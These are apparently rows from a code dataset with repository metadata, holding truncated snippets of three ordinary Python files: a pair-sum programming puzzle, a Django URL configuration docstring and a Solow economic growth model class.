decfbba03b0c50d40265242a55c91663310fa957 | 29ccbac9d0e8351d71432acd6218f71c56e8ad64 | /moderate/pairsum.py | 62d487b4cf2686060436aaeee6b4da658f369be9 | [] | no_license | christinakim/programming-puzzles | b1209f3c09d6abef8c9d5efe18fc45b2970d6b17 | 497dd8b1bf3d9f24e2d29f2017748cca3a5e4e82 | refs/heads/master | 2021-06-01T15:03:52.369730 | 2016-09-02T03:27:44 | 2016-09-02T03:27:44 | 48,009,828 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,445 | py | """
find pairs that equal sum
n = [3, 6, 7, 4]
target = 10
"""
def pairsum_brute(n, target):
pairs = []
for i in range(len(n)):
for j in range(i + 1, len(n)):
if n[i] + n[j] == target:
pairs.append((n[i], n[j]))
return pairs
def pairsum_sorted(n, target):
n = sorte... | [
"christinahkim1@gmail.com"
] | christinahkim1@gmail.com |
71ff48d27a98e522cb1183c1508f3fd16ee598fa | 521a5abf021aff0e5bec6e4723efb2d95bc1c528 | /dva/urls.py | f5d1f059a314c2edc9fa63fd0894759abd496b16 | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | CVML/DeepVideoAnalytics | be3ed41968a140328e25c22f2cb2be431a2b172d | d0969b503ed68dc9ee26279c341e1540bfefd4f6 | refs/heads/master | 2021-07-17T22:19:20.787228 | 2017-10-22T07:55:04 | 2017-10-22T07:55:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,282 | py | """dva URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based ... | [
"akshayubhat@gmail.com"
] | akshayubhat@gmail.com |
0e883c8c53ef201c0af61197ece3c45afb13fd08 | d5a84a349bb603c45249b722b38cb50fe1ea203a | /solow.py | 1a6311ce7646d7ff975c813f2746182493e4324f | [] | no_license | kai-trading-bot/Python | f13217776fa073abc941e26a6ee09f1c14fcdad8 | 8f60ad8d09280541618579cf1e5f57fa8b549b9e | refs/heads/master | 2021-05-31T00:13:17.772395 | 2015-10-08T20:40:22 | 2015-10-08T20:40:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,034 | py | from __future__ import division
import numpy as np
class Solow:
def __init__(self,n,s,d,alpha,z,k):
self.n, self.s,self.d, self.alpha, self.z=n, s,d,alpha,z
self.k=k
def h(self,x):
temp = self.s*self.z*self.k**self.alpha+self.k*(1-self.d)
return temp/(1+self.n)
def ... | [
"kqureshi@mit.edu"
] | kqureshi@mit.edu |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.